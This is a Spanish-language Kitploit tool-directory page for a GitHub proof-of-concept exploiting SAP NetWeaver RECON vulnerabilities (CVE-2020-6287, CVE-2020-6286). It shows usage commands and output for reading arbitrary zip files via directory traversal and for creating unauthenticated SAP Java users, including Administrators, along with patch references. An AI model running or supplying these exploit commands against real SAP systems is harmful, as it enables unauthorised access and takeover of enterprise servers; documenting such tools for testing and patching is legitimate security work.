Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
SAP_RECON — PoC para CVE-2020-6287, CVE-2020-6286 (vulnerabilidad SAP RECON) | Kitploit
Herramientas/GitHubGitHub/chipik/sap_recon
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y Educación
GitHubchipik/sap_recon

SAP_RECON

PoC para CVE-2020-6287, CVE-2020-6286 (vulnerabilidad SAP RECON)

Ver Repositorio
22363hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC para CVE-2020-6287, CVE-2020-6286 (vulnerabilidad SAP RECON)

¡Pffff! ¿RECON (Remotely Exploitable Code On NetWeaver)? ¿En serio, chicos? ¿Ese fue el mejor nombre en clave que se les ocurrió? :)

Este script permite verificar la vulnerabilidad de falta de comprobación de autorización del Asistente de Configuración de SAP LM y, como script PoC, explota el recorrido de directorios en el método queryProtocol.

El recorrido de directorios permite descargar cualquier archivo zip del servidor SAP.

Este proyecto se crea únicamente con fines educativos y no puede ser utilizado para violar la ley ni para beneficio personal.
El autor de este proyecto no se responsabiliza de ningún posible daño causado por los materiales de este proyecto

Hallazgo original:

CVE-2020-6287: Pablo Artuso
CVE-2020-6286: Yvan 'iggy' G.

Solución: #2934135, #2939665

Cómo usar

Solo apunta al nombre de host/IP de SAP NW AS Java.

Hay opciones adicionales:

  1. -c - verificar si el servidor SAP es vulnerable a RECON
  2. -f - descargar archivo zip del servidor SAP
  3. -u - crear usuario SAP JAVA con rol Authenticated User
  4. -a - crear usuario SAP JAVA con rol Administrator

Ej.: Descargar archivo zip

root@kitploit:~
~python RECON.py -H 172.16.30.8 -f /1111.zip
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Ok! File zipfile_929.zip was saved

Ej.: Crear usuario SAP JAVA

root@kitploit:~
~python RECON.py -H 172.16.30.8 -u
Check1 - Vulnerable! - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user. sapRpoc5484:Secure!PwD9379
Ok! User were created

Ej.: Crear usuario administrador SAP JAVA

root@kitploit:~
~python RECON.py -H 172.16.30.8 -a
Check1 - Vulnerable! [CVE-2020-6287] (RECON) - http://172.16.30.8:50000/CTCWebService/CTCWebServiceBean
Going to create new user sapRpoc5574:Secure!PwD7715 with role 'Administrator'
Ok! Admin user were created

Todas las opciones

root@kitploit:~
~python RECON.py -h
usage: RECON.py [-h] [-H HOST] [-P PORT] [-p PROXY] [-s] [-c] [-f ZIPFILE]
                [-u] [-a] [--timeout TIMEOUT] [-v]

PoC for CVE-2020-6287,  (RECON)
This scrip allows to check SAP LM Configuration Wizard missing authorization check vulnerability and exploits dir traversal in queryProtocol method
Original finding:
- Pablo Artuso. https://twitter.com/lmkalg
- Yvan 'iggy' G https://twitter.com/_1ggy

Thanks:
- Spencer McIntyre https://twitter.com/zeroSteiner

Solution: https://launchpad.support.sap.com/#/notes/2934135, https://launchpad.support.sap.com/#/notes/2939665

optional arguments:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  Java NW host (default: 127.0.0.1)
  -P PORT, --port PORT  Java NW web port (default: tcp/50000)
  -p PROXY, --proxy PROXY
                        Use proxy (ex: 127.0.0.1:8080)
  -s, --ssl             enable SSL
  -c, --check           just detect vulnerability
  -f ZIPFILE, --zipfile ZIPFILE
                        ZIP file to read. CVE-2020-6286
  -u, --user            Create simple JAVA user. CVE-2020-6287
  -a, --admin           Create JAVA user with role "Administrator". CVE-2020-6287
  --timeout TIMEOUT     HTTP connection timeout in second (default: 10)
  -v, --verbose         verbose mode
Descargar herramienta